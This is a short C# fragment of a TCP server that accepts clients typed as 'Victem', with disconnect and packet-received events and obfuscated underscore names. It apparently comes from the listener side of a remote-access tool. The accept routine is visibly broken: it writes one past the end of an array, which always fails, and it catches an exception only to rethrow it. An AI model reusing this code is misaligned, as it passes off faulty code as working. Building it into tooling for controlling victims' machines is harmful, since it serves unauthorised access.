public virtual void ___discon___(Victem victem) { var handler = OnVictemDisconnected; if (handler != null) { OnVictemDisconnected?.Invoke(victem); } }
public virtual void ___recv___(Victem victem, string packet) { var handler = OnPacketReceived; if (handler != null) { OnPacketReceived?.Invoke(victem, packet); } }
public virtual void ACPT(IAsyncResult ar) { TcpServer _ = (TcpServer)ar.AsyncState; try { var __ = new Victem(_.__listn__.EndAcceptTcpClient(ar)); __victmes__[__victmes__.Length + 1] = __; } catch (Exception ___) { throw ___; } finally { if (__listn__ != null) { __listn__.BeginAcceptTcpClient(ACPT, this); } } }